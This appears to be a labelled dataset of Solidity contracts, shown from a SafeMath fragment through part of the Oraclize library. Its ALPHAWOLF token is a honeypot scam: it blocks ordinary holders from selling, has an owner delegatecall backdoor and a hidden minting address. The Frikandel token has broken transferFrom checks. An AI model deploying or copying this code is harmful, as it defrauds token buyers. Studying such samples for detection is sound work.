function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ALPHAWOLF {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,148 |
pragma solidity ^0.4.19;
contract Frikandel {
address creator = msg.sender;
bool public Enabled = true;
bool internal Killable = true;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 500000;
uint256 public hardLimitICO = 750000;
function name() public pure returns (string) { return "Frikandel"; }
function symbol() public pure returns (string) { return "FRKNDL"; }
function decimals() public pure returns (uint8) { return 0; }
function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; }
function Frikandel() public {
balances[creator] = totalSupply;
}
function Destroy() public {
if (msg.sender != creator) { revert(); }
if ((balances[creator] > 25000) && Killable == true){
selfdestruct(creator);
}
}
function DisableSuicide() public returns (bool success){
if (msg.sender != creator) { revert(); }
Killable = false;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { revert(); }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { revert(); }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) internal returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enable() public {
if (msg.sender != creator) { revert(); }
Enabled = true;
}
function disable() public {
if (msg.sender != creator) { revert(); }
Enabled = false;
}
function() payable public {
if (!Enabled) { revert(); }
if(balances[msg.sender]+(msg.value / 1e14) > 30000) { revert(); }
if(totalSupply+(msg.value / 1e14) > hardLimitICO) { revert(); }
if (msg.value == 0) { return; }
creator.transfer(msg.value);
uint256 tokensIssued = (msg.value / 1e14);
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 1 | 3,261 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
